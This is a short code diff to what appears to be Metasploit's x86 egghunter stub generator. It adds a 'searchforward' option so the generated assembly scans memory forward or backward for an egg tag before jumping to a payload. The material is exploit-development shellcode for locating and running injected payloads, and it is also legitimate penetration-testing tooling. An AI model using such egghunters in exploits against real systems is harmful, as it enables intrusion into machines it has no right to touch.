@@ -22,6 +22,7 @@ module Exploitation
22
22
# Conversion to use Metasm by jduck
23
23
# Startreg code added by corelanc0d3r
24
24
# Added routine to disable DEP for discovered egg (for win, added by corelanc0d3r)
25
+ # Added support for searchforward option (true or false)
25
26
#
26
27
###
27
28
class Egghunter
@@ -42,7 +43,8 @@ module X86
42
43
#
43
44
def hunter_stub ( payload , badchars = '' , opts = { } )
44
45
45
- startreg = opts [ :startreg ]
46
+ startreg = opts [ :startreg ]
47
+ searchforward = opts [ :searchforward ]
46
48
47
49
raise RuntimeError , "Invalid egg string! Need #{ esize } bytes." if opts [ :eggtag ] . length != 4
48
50
marker = "0x%x" % opts [ :eggtag ] . unpack ( 'V' ) . first
@@ -59,6 +61,19 @@ def hunter_stub(payload, badchars = '', opts = {})
59
61
end
60
62
startstub << "\n \t " if startstub . length > 0
61
63
64
+ # search forward or backward ?
65
+ flippage = "\n \t or dx,0xfff"
66
+ edxdirection = "\n \t inc edx"
67
+
68
+ if searchforward
69
+ if searchforward . to_s . downcase == 'false'
70
+ # go backwards
71
+ flippage = "\n \t xor dl,dl"
72
+ edxdirection = "\n \t dec edx"
73
+ end
74
+ end
75
+
76
+ # other vars
62
77
getpointer = ''
63
78
getsize = ''
64
79
getalloctype = ''
@@ -194,9 +209,9 @@ def hunter_stub(payload, badchars = '', opts = {})
194
209
#{ getpointer }
195
210
#{ startstub }
196
211
check_readable:
197
- or dx,0xfff
212
+ #{ flippage }
198
213
next_addr:
199
- inc edx
214
+ #{ edxdirection }
200
215
push edx
201
216
push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
202
217
pop eax
@@ -213,10 +228,8 @@ def hunter_stub(payload, badchars = '', opts = {})
213
228
; it must match a second time too
214
229
scasd
215
230
jne next_addr
216
-
217
231
; check the checksum if the feature is enabled
218
232
#{ checksum }
219
-
220
233
; jump to the payload
221
234
#{ jmppayload }
222
235
EOS
0 commit comments